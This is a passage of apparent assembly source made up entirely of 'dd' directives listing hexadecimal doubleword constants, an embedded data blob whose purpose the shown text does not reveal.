84C7D283h, 359580B8h, 0FFF73800h dd 46D13DCBh, 442D0079h, 687DDC6Dh, 93000F53h, 10250358h dd 55B5A0h, 0D5F34115h, 32996E9Dh, 22072100h, 0F83E20A4h dd 0FD28182Fh, 0DE51605h, 2EA92600h, 0E98137E3h, 24AE128Bh dd 0DF8800CAh, 0EBE7D01Ch, 6090460h, 5AF175CEh, 81BC1609h dd 2B36FAF0h, 539E5841h, 0F6C4BCF0h, 16C91E4h, 3CE9E3BAh dd 9488245Dh, 9909A373h, 0A0ABD01Dh, 0AC9666E8h, 287E7Ch dd 2AEAEE58h, 20A70E6Eh, 0B47ABE0Fh, 2FD380A2h, 943EAAA8h dd 0DBF70130h, 0C97461F5h, 0B8CE7064h, 0B00D3F0h, 0E4F8CEDFh dd 0FF086A0h, 367694Bh, 452A9060h, 0D8F474E7h, 410C0CE8h dd 309D641Ch, 0C1501746h, 0D93C80A9h, 0B7070A59h, 793E578Dh dd 8E6B802Eh, 735C595h, 0AC9D4862h, 0E091D790h, 0B9164B9Eh dd 0B6C72C02h, 0DA1792B0h, 0AEF02078h, 8DB57E0Eh, 75D5201Ah dd 38BB42E2h, 0CA831C8Fh dd 0B344E578h, 0C0052000h, 87F01E4Ch, 0EA22174Bh, 966C8089h dd 0EC072B54h, 0BC0288Bh, 0C40F139Fh, 0FBAE80A5h, 179403h dd 0E51A5A34h, 0D1402C1Fh, 13EDF71Dh, 0D8ABF400h, 0EA2123CAh dd 0D0CE0053h, 0F346E58Ch, 0DC00B1CBh, 9872F7E7h, 749AA3Bh dd 427A44A1h, 7113515Bh, 0F19EC030h, 2AF1712h, 51BE4C00h dd 303DC127h, 9411CAE4h, 5D006FD0h, 0D437F4AEh, 50DE6404h dd 208CB7Ch, 71AD5C48h, 9980E48Eh, 6E2822CBh, 0DE14C700h dd 886BCD8Fh, 0A1AE0068h, 9F1954A7h, 0DB98DD17h, 0CEC9DB01h dd 47F95C6Ch, 6C85BC4h, 5FD62223h, 16071044h, 0C0B5186Bh dd 308EF440h, 7B8F00FDh, 1D923E69h, 5600FEF5h, 0C7EF666Dh dd 0E359D4DDh, 7ED58E0h, 0D7390402h, 9F00DEB7h, 1446273Eh dd 0E0BD1200h, 78E6A31Dh, 86B9DDE2h, 68DD5494h, 0B6647601h dd 620B5D69h, 0BA51DCh, 29BB0A98h, 594BB828h, 533E3Fh dd 0AD69B5D0h, 3D9A269Eh, 1D751EA5h, 8F3B2303h, 56005A94h dd 49800D1Ah, 0F084FA00h, 0B8A604A0h, 999500E9h, 8E4591B2h dd 5D007A76h, 15E03AB9h, 6F997h, 0FA84FEC7h, 4D384E08h dd 7100DD70h, 43EA3C6Eh, 1C9A071Eh, 989B7528h, 0F984214Fh dd 0F645BD00h, 480D226h, 0D4411C7Eh, 1D006CD9h, 0DAEF47A1h dd 0AA40E063h, 0A5771333h, 8053773Fh, 0A615CB89h, 1F38C38h dd 7F5485B3h, 86315BE5h, 0B6676E61h, 0AA120386h, 0AD193825h dd 18586AD0h, 0DBCE9200h, 0E2F994A8h, 0FE9303C7h, 0E502FD19h dd 43FAF798h, 0B0CFA00Eh, 49A18001h, 0FB77262h, 5C31391Bh dd 0D038E580h, 8F07AA8Ah, 3015E268h, 4DC80089h, 363673Bh dd 7A606551h, 0E6B0565Eh, 0D10042D9h, 0E448B577h, 8716Ch dd 0CF850BBh, 0FF7DDFBh, 338BC503h, 0A1AE09CBh, 0B0CB8416h dd 725FFDh, 5826D5D3h, 18FF7FF6h, 0AD378607h, 0FD40BFE2h dd 0E7EF7C5h, 78CF5CF0h, 2DE5880h, 0C738D38Bh, 3357079Fh dd 0D680CB22h, 33BE2DAh, 0C101AD68h, 0D4E015EEh, 4000EFB3h dd 0BE34C3DCh, 170CD64h, 0F660236Ah, 0C0CC4457h, 0FE7EE18Fh dd 0B31FCB72h, 51932B06h, 0E6E98300h, 0EABC2A32h, 0FD441EBEh dd 5BDE54h, 3F014B6Fh, 500EDFC7h, 0A0C120F6h, 0D22476B0h dd 0FCA800E8h, 0DD2F7CEBh, 41001F9Dh, 46394A98h, 0F44487h dd 278E5864h, 0B868EB05h, 0B4BBCA1Fh, 851C7E7Eh, 4C7F1C9h dd 0B5609D22h, 15620D3h, 7D526C67h, 0D42D736Eh, 5A076859h dd 0DAE4DFEEh, 80339BB0h, 0D97100F9h, 0DC7CFC75h, 7474F84Fh dd 3025C100h, 0F033BD7Ah, 98152FA5h, 0D1D468C0h, 2D9B6600h dd 137934D3h, 6F42002Fh, 0E4977B28h, 780B1595h, 8145498Ch dd 58F675CFh, 19C9D8h, 0C338375Bh, 6BC43496h, 0BEBCC807h dd 5E40DE10h, 3E2F369Ch, 371FE6E7h, 0DC80C050h, 8B536E42h dd 0A40F7500h, 163126C2h, 0FB66009Eh, 4FDE0A55h, 85707110h dd 0F2756300h, 7447738Dh, 0EC0F1F46h, 0EFC7C0DBh, 0B6B99E93h dd 92CD5100h, 5BB7360Ch, 0AFB00065h, 951680C0h, 7800199Dh dd 0D1EAE71Dh, 39E50E6Bh, 9A01E14Bh, 0ACDF8729h, 5B0AC499h dd 10C04Ch, 68D23832h, 7AAB4A0h, 3E4D9D9Fh, 0FE22083h dd 5898A5E6h, 0B70E5Ch, 75E1BC36h, 3E3E043Bh, 0C843AB7h dd 0C05361E0h, 6545B5A0h, 891327FEh, 9800F0C0h, 9C1E317h dd 75870084h, 0AA0BAA7h, 0F700E867h, 0F4BED42h, 7D21241h dd 9A9B7CDAh, 79D8D24Eh, 20E302C1h, 5738C2DCh, 0E9E1840Bh dd 9CD0B716h, 73543E88h, 604020CAh, 47D4B300h, 6DDCF1F5h dd 5F7D127Ch, 0D817A0DDh, 80346E00h, 973EA288h, 2498C01Bh dd 0FE31B23Ch, 0D520220Bh, 5B4F8199h, 23ECED8Fh, 6A20085h dd 6E3CFBE4h, 0D00A0EFh, 41DD862Ch, 0B1BC0FEh, 4D8A203Ah dd 0A54F3A00h, 471C6583h, 0CE40502Dh, 9564D18Ch, 0C079DEh dd 57AE701Ah, 126F46C9h, 0F7DC3Ch, 54394302h, 1F7A5Ch dd 90CF3C1Dh, 568104F1h, 4D738B00h, 977E27DEh, 0E6260B9Bh dd 2400FD8Ch, 6E29756Fh, 5B635D0Fh, 2F73035Ch, 5862B050h dd 906BE659h, 56A009Ch, 6F099603h, 690F7465h, 0A05F458Fh dd 6B7C2868h, 0EC2E038Dh, 0F7F824AAh, 47865DC8h, 1F0A63Eh dd 0ABDE06E8h, 0D3F8E3DAh, 9F291D6Bh, 6F0A8CEh, 0FF854B05h dd 347E2850h, 0EA0DAC90h, 6CE3E0AEh, 0C81F2C40h, 3890E5h dd 0D97BFB0Fh, 0DF04FF48h, 0D274F60Fh, 0F80013ACh, 77CE1AE5h dd 0B50B06Ah, 0EE5BE3BEh, 56932C00h, 0ED004F4Ah, 6D408811h dd 0C40896h, 3805FCDh, 0B59C7065h, 5856EC24h, 407C500Fh dd 5B6E597Bh, 2657587Dh, 6D03793Bh, 6652765Ch, 0D8427FF0h dd 613FB61Eh, 415E1500h, 1E847546h, 0C5506B26h, 8152405Fh dd 0D405A32Ah, 1E2474CEh, 902018C1h, 38292F40h, 12747126h dd 3D435Dh, 577CD96Ah, 0BE00B2B0h, 0AEBB029Ch, 0F2CD30A0h dd 4D31E190h, 0F210420h, 0BE019DBFh, 609B17C1h, 0FFDA30E8h dd 6500B875h, 0F3646E39h, 0A88667h, 0F57D8D17h, 363A3409h dd 1E05FA3Eh, 8280F4C8h, 7ABB6CFFh, 525D001Dh, 0FD55765Fh dd 0F107A8CFh, 9F03C762h, 8064DCC2h, 76E5FFB0h, 9CC9073Ch dd 41CA5106h, 0FC334A08h, 7B00B521h, 7DE07947h, 5FDCD7h dd 26F25C3Dh, 5B6C19F9h, 810C3Eh, 0F31E745h, 0B35FB5h dd 4972C8E4h, 9029D64Ch, 9CE38C05h, 0B819498h, 2BD46EB0h dd 3D370AAh, 5B35F7B2h, 6DD03B7Ah, 1038F323h, 0F87F03A5h dd 0B86186FAh, 1E8FC9E4h, 8154D55Ch, 2E99A697h, 37A2CC98h dd 0A3039179h, 15DE518Fh, 0AA46C88Ah, 0A0C300C6h, 8DEAF14Ch dd 0A2000247h, 0DD688705h, 95DA501h, 0FC282C10h, 89C3A400h dd 3926320Dh, 9781F08Ch, 8EC73433h, 0C635CCh, 0D636318Fh dd 0EDFBE699h, 0D0C20300h, 0E3A9EBD5h, 0C50C00F6h, 0B2E9D7D8h dd 89243E58h, 0C100A4F5h, 2BC8BB32h, 1647CD4h, 87AC4C9Ch dd 2123471Eh, 30B9CCA0h, 0E0280B01h, 27714D29h, 94CE8941h dd 0A5F09021h, 0FA8113F5h, 0C535037Eh, 1DE88FE8h, 2171CAE0h dd 1431B400h, 28818285h, 59E60923h, 0DC87E383h, 432B8003h dd 200110Bh, 2A212EF4h, 73D50FB9h, 22BB0914h, 0E0A058D6h dd 6A692461h, 2302B09Ah, 61D42EDh, 5D94C098h, 22F600C8h dd 8D059DA3h, 7A490CB2h, 97B300FCh, 51FE9928h, 52CE3085h dd 20FAF950h, 6F806D50h, 0FBF4C100h, 3D72AFA1h, 7C65005Ah dd 89E92C46h, 8004161h, 0A0E6A5CFh, 6774Fh, 0B095EC84h dd 31E2813Fh, 24121BE4h, 0F0017252h, 55EBC3E5h, 2CC8BCFCh dd 8038D27Dh, 4CEEC5E1h, 575C9B04h, 0DD8A00B0h, 5DE37D66h dd 6CB1C037h, 4817AC81h, 8B2A9900h, 0C147074Ch, 442E18FAh dd 0CAE3026Ah, 0D800BD4Ah, 170E41A4h, 29FE3EE5h, 0C0C6A01Fh dd 5F1091B6h, 274ABD7Eh, 0E97D9C02h, 0C5520006h, 280722FDh dd 0F8C45B1Eh, 927EE320h, 90415013h, 6DCF09CAh, 0E0C63ADh dd 46FE6F98h, 20408F30h, 0A3E6DEh, 0E9113B23h, 16C661B8h dd 0E0AE0530h, 2570B94h, 0E70D804Dh, 9C982667h, 0DCB2BECFh dd 87FB733Dh, 0EB785DDFh, 0C8D03DA7h, 3A302A23h, 0AB03E5C1h dd 7CF46892h, 53A04ED0h, 2D18B0ECh, 62189091h, 0A414902Ch dd 42213024h, 3A499880h, 0C9BCB254h, 44F34D00h, 947C4B9h dd 953605B5h, 4A6E202Dh, 8040BDD8h, 0D146B32Eh, 23249B6Ah dd 2A0438DAh, 30832294h, 8003D9D5h, 0E1B440A4h, 8007C6B9h dd 0D50ED831h, 58AC330Ah dd 0E61F9426h, 17494F63h, 7DE77EA0h, 3A19D6C9h, 44C08A2Dh dd 0ADCFB0F3h, 966230EFh, 9C51792Ah, 0D52CF107h, 0DB27FB57h dd 0DC0681F1h, 0E0DEF60h, 3850D958h, 5921C6C0h, 0A92EA570h dd 6F07FC49h, 0A703C2EBh, 0ABCA1C0h, 0A4431184h, 5487C0B3h dd 4288C4Ch, 0C1E0D66Ch, 0DDD5D602h, 4110CF30h, 9B2002ECh dd 111F30BEh, 0B8A6D010h, 8E94EA00h, 1D2D7708h, 3098752Bh dd 0BD905F1Fh, 0E31CBA81h, 0F46AD9B0h, 78BBF212h, 1544E440h dd 4908B4B3h, 6312788Dh, 3C5CC028h, 85016E9Ch, 78EB868Ah dd 0C70C7CEh, 0EEE97060h, 0D8A8256Ch, 6D891C0Fh, 0E19530C0h dd 0E0FE58h, 0B68C4E0h, 17DE615h, 0C074A135h, 0D0EEE462h dd 3007E8CFh, 1394422Fh, 27D3611h, 0DA37B040h, 0D2F002E1h dd 5A2A0D66h, 7C5F9460h, 8306B300h, 163F7642h, 3470191h dd 4D074F4Bh, 0EDE0CB10h, 17AC15Bh, 51BDA606h, 502811D2h dd 0EEE88Dh, 4A86E2DFh, 24B3F393h, 361A8502h, 511FBF3Fh dd 0C26E1C3Ch, 3E5D82C8h, 0E977CEE0h, 60F96500h, 0D93F56FAh dd 913601FEh, 30CB7E1Ah, 0CAC4059h, 2718C1D8h, 33A0B23Dh dd 25C33BCAh, 0DCB126h, 1BC5C20Eh, 7200B426h, 9627D3Bh dd 3B8A455Dh, 67804071h, 44435A14h, 1E17F15Eh, 240278BFh dd 148D3270h, 2DB9E900h, 8297AFB3h, 91ED00C4h, 28954C0Ah dd 7D002B14h, 736EE049h, 4179BBh, 0A23EB5CCh, 7E646955h dd 2CA7D01Eh, 0AE1F95FEh, 9821E4h, 50921E3Bh, 0EC2C5C64h dd 7B09C09Eh, 60A04255h, 70323EFh, 427E319Dh, 122E40ACh dd 1307C28Ch, 0AF014DD3h, 0ADF6DC80h, 8C2D4C53h, 79DC58h dd 90CF5C31h, 83394C0Eh, 840DF709h, 0D0C0A019h, 0FEA74CBh dd 0EB42611Ch, 451BFAA0h, 4F00C7DAh, 2043471Ah, 0A2327CCh dd 0F67E34B5h, 4C5802F8h, 0B47A06CEh, 49B9BD4Ch, 37040310h dd 0C824E5BEh, 2A1C1EA7h, 2A4D4FAh, 0E38D630Dh, 5068FFB4h dd 0E474EDD7h, 0D45ED500h, 951F603Dh, 0B66700EAh, 8280EC4Fh dd 0E53A967Ch, 0CED713DFh, 7DA74500h, 613F5A5Dh, 2E6AF2FDh dd 58A02065h, 0EB0DE09h, 47F8009Ch, 64D150A0h, 0B88830A6h dd 0C155004Ch, 6DC9297Bh, 9C628D3h, 0EB4005C8h, 0A2BD2054h dd 0F532140h, 11B8F7B1h, 93003B42h, 97482D05h, 7798D524h dd 2C967B02h, 49802EF9h, 2226A098h, 735BA26h, 0BF360500h dd 7E695EA8h, 0D91F0213h, 0B342FC3Eh, 1017E068h, 340A9701h dd 0AA625ECCh, 0B0531824h, 57E10088h, 32B8039Fh, 650FCE48h dd 0E0C05AD8h, 406312C4h, 3E10B07Ah, 0F0854719h, 43DCFB05h dd 4AB59DC0h, 904508E0h, 0B93FE16h, 4B075C40h, 1FBB06ADh dd 0A8C68617h, 0D0484CCFh, 96094500h, 0F3D7837Ah, 11C98B0Eh dd 3EA8E04Fh, 505AF66h, 45D3EEC1h, 0C18017Dh, 0DC97A9D2h dd 3D1675EDh, 384BAD7Ch, 90BCA261h, 609B423Eh, 58A8210h dd 0C5893CA6h, 0DB1CD886h, 0E9933D18h, 985BBEC1h, 4F8800A2h dd 0C78C0B9Bh, 7B03D5C2h, 0C36A242Eh, 4BD0001Bh, 0F87E6C99h dd 0DB3DBBECh, 786F30B1h, 0B89D7375h, 4DF30C11h, 7C583747h dd 0C00E55F0h, 4673CDC6h, 1836C7h, 0A73C11FCh, 49294BC1h dd 75A36019h, 9C6350C9h, 6DC07459h, 72E7540Bh, 87704C58h dd 45301BD4h, 24A50895h, 204BF2Fh, 0ECFFA8B8h, 30E34CE4h dd 0F8A85AB0h, 27036DA0h, 1F4CA302h, 7528C008h, 0C1CC1259h dd 27F4C13Eh, 9C4CF4AFh, 0E7BA50C0h, 0E8BC2937h, 256490A5h dd 1C005194h, 18EFD42Ah, 4011B56Bh, 2564A4h, 4BE692CAh dd 941A517h, 6A0ECE7Ah, 0D67A11BDh, 66AF7900h, 925C62A4h dd 889508ACh, 24A6E57Ch, 0A2B96E00h, 17F5737h, 0C76D3331h dd 0F84BD0BFh, 2838454Fh, 597201C1h, 9FE49A29h, 0F62A60h dd 94EDC534h, 0DCD7D3B3h, 0B03C7500h, 4F619D10h, 3A3748Bh dd 0CD8489B2h, 7FA8A02Fh, 7E001CD8h, 0B9F4935Dh, 0C71DA80Dh dd 0D0AFE510h, 5C371A07h, 0CAB2AD12h, 950C1480h, 99F9C155h dd 72827213h, 0A23D7970h, 7BB20FC1h, 9624800Fh, 9065FFECh dd 0E9850A1Ch, 9ACEE06h, 0E040EA2Eh, 9F00054Dh, 0D8DB815Ch dd 50526Ch, 11CC8A10h, 345FC6A4h, 0D4992DB0h, 1DFFE588h dd 780B816Ch, 38A45AABh, 0B2D10050h, 800A966Dh, 137548h dd 3BD1F92h, 82F6704Fh, 2C1ED900h, 0C30D9F5Ah, 0CC9738CEh dd 55E5B080h, 6D0480DBh, 873C507Dh, 7DDA96AEh, 61603C4Fh dd 0C8F6616Ah, 2CC9C0h, 0B228BB24h, 0D6E5FDD2h, 9E10F001h dd 874903FEh, 7B7BFE8h, 0A7EE2A0Ah, 0E6A49121h, 1D5A80A8h dd 206AAE94h, 86C203ABh, 0B35E891Eh, 300A3EB0h, 0DF00117Bh dd 8C01F942h, 96836Dh, 4CD1D7D2h, 4106C5B8h, 0DFE09200h dd 0F30BA601h, 27155C31h, 0BAF9830Ch, 2F0B3678h, 8EDD327Eh dd 507500E7h, 1F0E1E40h, 7C3E7h, 8E0AFE15h, 5700A969h dd 0AF622A6Eh, 0B85C4810h, 6B9F1EADh, 39A54149h, 80139BF6h dd 4ED32A19h, 0F5D9A04h, 2CECE4BFh, 0C774B1E5h, 0B802C99Eh dd 10E8510Bh, 60787F47h, 8C765F7Bh, 7D7C4601h, 8E49570Eh dd 3EE1D0h, 90835B2h, 2123CDD8h, 152EBB7Ah, 0D03BB70Ch dd 0D8E19689h, 39127CF7h, 0F080238Ah, 27E46C7h, 0DF76ED5Ah dd 0E4434D0Fh, 0AD9DCAD0h, 0ABF73200h, 785047A1h, 25A20015h dd 0EE7CC9C4h, 3A006A10h, 0AAF0EDD8h, 32D207Eh, 0A927A814h dd 3E982268h, 1800AF16h, 31B584A2h, 0DFFE1Bh, 0D212C227h dd 2CAD0741h, 7A821800h, 5C0E5DC4h, 27AB003h, 6D490262h dd 70688FDAh, 2500E8D8h, 0B67A7C57h, 91EE752Ah, 0E7198868h dd 0AE4CC800h, 1CC31A0h, 0A11E91B1h, 0E774343Fh, 0E70B11D0h dd 7A626000h, 0BA7D1B5Dh, 7554000Eh, 404F5B69h, 2B01021Ch dd 63BEE9B2h, 9034AD6Fh, 57D52C23h, 3EAB81B8h, 38C79E2Ah dd 25C4C60h, 9990F1F0h, 78E461CDh, 3C451074h, 1D02B8BAh dd 0C631B28Dh, 5442F4C6h, 0E33461D3h, 0B0A43084h, 41350300h dd 63A7CD0Eh, 2F499E2h, 0ECBDA314h, 5184CCC8h, 0F0077D89h dd 0ED22D1F0h, 0CA640216h, 0C0616C23h, 9A75714Ch, 88460240h dd 0E8FAE7E3h, 676AD440h, 0EA12E5EAh, 0B4C07ABCh, 48C605A5h dd 2301B895h, 7E0A8ACh, 380C6341h, 2CA12929h, 50A1128h dd 9CB50CD9h, 7216C82h, 0BD7CC0C6h, 0F5C5275Fh, 0E58065D4h dd 0C76E132Ch, 0B9D10CC6h, 4B792E7Fh, 0BEAE3F00h, 7D12BBE4h dd 0EB4E88h, 8C5408DCh, 6FE7642h, 0E8BF0B01h, 0C613A095h dd 7A219063h, 8B289025h, 0D642981h, 0E3664484h, 9FA86F2Ch dd 675F1E45h, 1E924B0h, 451C13EEh, 38E2CA44h, 4C8493FCh dd 660094E6h, 9B350576h, 5017D723h, 14014C2Ch, 0F6FEE6E2h dd 0C06226C5h, 44D6E60h, 120C159Eh, 0B814211Ch, 48EB0382h dd 0A4903E3Ch, 692C82B4h, 219180C0h, 278A810Bh, 3980A3AEh dd 80A99B67h, 0E93AA69h, 0DA10801Ah, 9909D527h, 0E3655440h dd 0E1F37000h, 0C173FBA6h, 0A49B58B9h, 2E947400h, 0E3B22DD9h dd 0CFC5B019h, 0C0CA0EE0h, 17E6BBE8h, 20D1FF32h, 42BD02E0h dd 44ED9B18h, 0BE63428h, 0CD1946D4h, 51764903h, 67FB0E7h dd 0DB269B11h, 0AC3BF4DDh, 5E0014FAh, 8B8FB4A1h, 0A3480241h dd 59DF56A2h, 352ED040h, 0E58DDB13h, 1B55B700h, 0F81D1924h dd 2CEA00B7h, 516D408Ah, 0AD017AC4h, 8473D854h, 0FACDB321h dd 0A0A4C4h, 40D6FCFDh, 6EBAB71Bh, 0E15B6C00h, 48A3BDA2h dd 3A4C021Eh, 9E05FFFDh dd 0DB430868h, 7F5E310Bh, 30100080h, 1F331F86h, 408BC437h dd 871AB23Ah, 6C00DA8Fh, 1780B0F7h, 187362h, 0ECE7AC75h dd 678D6E41h, 406CB100h, 5D82DB51h, 0A0AD00E8h, 486152A6h dd 380242B4h, 437E8D62h, 8610403Bh, 0B493E87h, 8E707380h dd 0F74AE6ABh, 0B040858h, 805ACA74h, 255DD4E4h, 980B0047h dd 16F74278h, 920B3EB0h, 8ADABFDh, 0E200DC9Dh, 4F280B4Eh dd 802B4896h, 3649B800h, 0CF229B15h, 4BB02F00h, 9A289DE8h dd 62BC4C08h, 6EB31400h, 9BC41797h, 0C81C8230h, 1FAABEh dd 0F0DA534Fh, 4B7F9E86h, 1F2B9824h, 29BB0800h, 5C6D55F4h dd 931FB8AEh, 0A08D92A7h, 0A300FB8Ch, 0B39E98EDh, 961F9DBFh dd 0FED10318h, 0E6F8CC25h, 0A892E1BDh, 80FC275Ch, 843EB33Dh dd 0FB0B04FCh, 0C3E41DACh, 400954F4h, 0EBD758h, 995D6124h dd 447702C5h, 0AAAFB4E5h, 85CFC49h, 0FB3D0058h, 0EF3CDAF8h dd 61E89419h, 6BD04500h, 78DBF49Ch, 0FB350ECEh, 0B2C0644Ch dd 8A66A306h, 13D26D09h, 0E42C03E2h, 879E8892h, 3AA7819h dd 4F3DBF9h, 2003E5A1h, 5812A4EAh, 0D78085DDh, 3F25805Eh dd 642CEC38h, 0A6E50034h, 0F443BFB9h, 9FE22400h, 0BD477C02h dd 0B25D0017h, 0CCA14C0Ah, 2B000BB3h, 363D260h, 13FCFB05h dd 17CD95Eh, 143444EAh, 2169C401h, 3F4EB900h, 7AB02083h dd 0C5A70E3Ah, 93A736FBh, 628E2079h, 0E03C1E78h, 3BB1BF9Bh dd 5A2A829Ch, 600F257Bh, 13FADEh, 0B877C919h, 2CC13212h dd 0BF65E118h, 0D56DB8h, 188B6FC6h, 6FA16C4h, 0F770B5h dd 0FD42DD7Dh, 0BCCA68DFh, 0E06DDB07h, 0B4C1Ch, 6935AF10h dd 239D0FAEh, 33029C9Bh, 4242906Fh, 2B01D0D8h, 45AA926Dh dd 98745642h, 0CFA90F34h, 0A8A01F85h, 0CDAB3C68h, 6AAC6E05h dd 64C0CB64h, 0A087C69Dh, 4AB7F0h, 4DB2221Dh, 0B00FA1A3h dd 1F92BC00h, 8E91ADBAh, 52EEB4h, 6DF3CC78h, 0AB481E44h dd 7671DFF2h, 490080ECh, 121411ACh, 961CE7Ah, 9A02472Fh dd 9590C883h, 5CBBBE8h, 650CB100h, 30F75A36h, 7700B440h dd 0BEE07391h, 0C5078228h, 975AD5D8h, 53FCBFF0h, 16607B69h dd 0C03B4C98h, 881B665Ch, 0A32CCD03h, 4BDF713h, 0C97014C0h dd 0F8AC4090h, 0DE07E1h, 0D3F1DFD2h, 0C005E3EAh, 0D0D13Bh dd 0FBE5E2AEh, 71254C6h, 29021D98h, 112BA1B2h, 3407DCA1h dd 0E4E3BA16h, 97054D3h, 2C92D0C0h, 2138E810h, 9914BA09h dd 0CB88807Dh, 0F0834Ch, 0FA446A66h, 5337D52Ch, 96458D00h dd 6876D64Bh, 249003h, 0F2CDC983h, 0F8F7CFF9h, 0F407009Eh dd 0F533CE87h, 0F6F1E086h, 0A6590096h, 81C3AD3Ah, 0AB009510h dd 0CCB62369h, 2971884h, 7E9872A9h, 2440CA48h, 7B00F281h dd 0D9C79AD5h, 3B726DC8h, 0C60175FBh, 0E1524D18h, 55B3F567h dd 249082C0h, 1100F2E3h, 17944914h, 844659h, 8C614171h dd 0E340D373h, 1BA6F113h, 84DF9082h, 0BCA865A8h, 882FE000h dd 7B4A37C2h, 8E21F316h, 544864C2h, 9F9F3890h, 446C00Ah dd 70E0C6F1h, 841D3A0Bh, 83998039h, 396B03Eh, 0C14FA21Fh dd 0F0A1A7C2h, 0A4002B09h, 2F066480h, 94EA4C83h, 885F4803h dd 1107EDBDh, 0DB52A825h, 63DAD310h, 82480095h, 7246B477h dd 5375381Eh, 7080914Eh, 77EFEAF5h, 6DA201B9h, 0AD579DB0h dd 0E29BF352h, 41D870EBh, 0E0B0BF82h, 5CDEBD04h, 14A047B4h dd 9DCB8CDh, 0B33B569Fh, 4ECA7440h, 0BA0045EAh, 89E55CC5h dd 4C0601CFh, 3701744Dh, 87ECE050h, 318FE5B0h, 9448F8B0h dd 11DEF930h, 17FDEE25h, 3218980h, 0D7071884h, 41199800h dd 7F3E44D0h, 0DB31F91h, 0DC9C87h, 8095D1BCh, 70BA53FDh dd 0A208DE02h, 509251ECh, 0E815E408h, 0E2D90037h, 2D67AFF5h dd 0B802EB2Ah, 0CC183A2Eh, 2CF4E875h, 19C70166h, 85F1D782h dd 0EC40EA16h, 534879C2h, 9EBA0010h, 581B9211h, 7569E467h dd 74630057h, 0AA8DE652h, 0BE19D8DAh, 50F862FBh, 3A5FB2E8h dd 0BB07B0DCh, 47CBBD0Eh, 9A23E0ECh, 0E7FE73FEh, 51A6850Fh dd 54A160DEh, 210BB2h, 69DC913Ah, 0E50D8CA9h, 0C4009D97h dd 9ED530C8h, 44D44CC3h, 5E6D0171h, 2EDC1CE7h, 1F90D045h dd 56B3602h, 0AECE9F2Dh, 5C09E0FCh, 9E20604h, 0D310330Eh dd 58AF5800h, 0BA037CD4h, 6DB59EE8h, 2D30D022h, 24B9F878h dd 0B5CC335h, 0D4120EFAh, 0C0F75860h, 2D0C1A00h, 2379D599h dd 2204B889h, 1848049Bh, 940177F0h, 20902EA5h, 0D05091FAh dd 0B1F946D9h, 61EA0E68h, 32727720h, 0D05C49Ch, 893DAD60h dd 98D610C0h, 979105B2h, 80656369h, 5DE030F4h, 89A40E0Bh dd 0CA6707BBh, 804DCBF3h, 1281FAB4h, 0B55B90h, 928BDA5Ch dd 980093E0h, 0D729952Fh, 6B2528h, 5D5B6550h, 0FC2C706Eh dd 0A8F6ED07h, 0A1252278h, 1460D800h, 8269C8h, 5A204790h dd 9C66D23Ah, 0B9CC1504h, 65862574h, 0FA652CF0h, 0A20900C1h dd 4029202Ch, 0CB0543F8h, 0EA63EF67h, 74808680h, 0A4EA14h dd 0A072DC57h, 0AF84E659h, 7BDB5600h, 67D85BA8h, 733FC5Eh dd 0EA5150E8h, 0F4D3699Bh, 7400CD96h, 0F2A43709h, 3AE0785Eh dd 7A055DDCh, 0B28B4AD6h, 0C0D08700h, 0D136003Bh, 49DA80h dd 4F82056Ch, 72CF9E7Bh, 0A4B1CD0Eh, 0C8DD2009h, 5272122h dd 0E997F399h, 709C0306h, 90902E01h, 0D7009B15h, 0CBC6A79Fh dd 10135Ah, 9332062h, 79525575h, 0C02ECE26h, 514F8A00h dd 3B96FA85h, 0F89DCCDFh, 24C44075h, 0A6538E3Fh, 0CBB4E209h dd 0D20238Bh, 8460D7F5h, 752E0483h, 27325B91h, 9450E950h dd 3EA9E703h, 0A0961A11h, 4C71CCFCh, 0E04C8869h, 0D1B25F01h dd 0EDAD580Eh, 7828CFh, 93BB775Ch, 4C34976Eh, 0D0F6C71h dd 51EE92B3h, 0B4DF5925h, 650BB8A8h, 6020806Dh, 1284218h dd 6F0B1329h, 0E0C6A0B5h, 71000A40h, 205E2CD9h, 0E6AF806Eh dd 0B3830A39h, 84A533h, 0F4C2F90Ch, 1154B9B4h, 0EA409264h dd 2AA51DFBh, 90F49857h, 960CBFC7h, 10F5DCFFh, 675B0395h dd 1CC83D85h, 72B0F8D0h, 5D6A5600h, 0CA2E1FE2h, 74E1C5FDh dd 7778B494h, 6AB76504h, 10E0F85Eh, 70DC13BBh, 0C4748871h dd 0EC864988h, 0A10638B1h, 891F4A80h, 8E23C55Dh, 833E4D2Ch dd 3F73CD01h, 5BC0CF9Fh, 0DBC600ACh, 0F54BF493h, 5101CBC8h dd 56750806h, 0B9609FD8h, 15FC00D1h, 0AF3B1B87h, 14393752h dd 440F133Dh, 6C5A5800h, 251858h, 8B156A3Ah, 0A59DA8E3h dd 28071600h, 67DF04A9h, 55481EFAh, 0EDB482B9h, 0EC403E1Eh dd 4763AEA0h, 0A38E22F9h, 6BD698E8h, 0F86E0088h, 0DB54F689h dd 6F038F62h, 0DDA88BF0h, 0FC48C8E8h, 2CD97F50h, 7622EF2h dd 20C25C07h, 0EAFE2CF0h, 6A0FDF0Fh, 0DE4602DAh, 40ECD43Fh dd 0E4923901h, 0BE173D00h, 0FD37A00Dh, 0E8180012h, 51781628h dd 97A3E0AFh, 0F7749B0h, 0F588B502h, 0FE86A9D6h, 47590087h dd 0A4AC565Fh, 0F8B73800h, 0C0E51D65h, 768A00BFh, 0FEFC59D4h dd 1B00BA55h, 0EC5640E2h, 39F39Ah, 0A4E9CE84h, 328DCD6Dh dd 20E5B337h, 50F3C9CEh, 4080038h, 620AE4Dh, 2D58A14Fh dd 9C371F6Fh, 25C73F03h, 6D22B888h, 30C97EDBh, 708BEFAh dd 5500A6A2h, 575E471Ah, 0D915D8h, 0EE2D6ED7h, 31B4839Ch dd 0A700467h, 1BEF9761h, 4B20FEE4h, 932CD046h, 2DFE272Fh dd 2A48AD90h, 0A1EA0F70h, 6F94CE2Bh, 9505A098h, 0EAF5DD08h dd 654D00F8h, 0D7FF767Bh dd 84B0E7EEh, 0F36A7D00h, 208191C2h, 0A012E63h, 188B8770h dd 0E25AD0E0h, 7A74DC88h, 2F0C8D74h, 89473D8Ch, 1E274AC4h dd 0A8810068h, 0F087B267h, 1DE8BFE8h, 2CFC418h, 3158D21h dd 0C0CA8F47h, 80081AFh, 0B722D792h, 90870C51h, 0E252000Ah dd 0A60A0761h, 68CEC867h, 8F6AA37Ch, 5000CDE0h, 0DC8EB3B7h dd 0EF84003Ch, 0FC9981AAh, 58CF83A8h, 632D0296h, 89188106h dd 9074E04Dh, 6A6F1F7Eh, 5701DAAh, 763B4h, 0F0422114h dd 1001748h, 0C22D9EF7h, 0E961F8Dh, 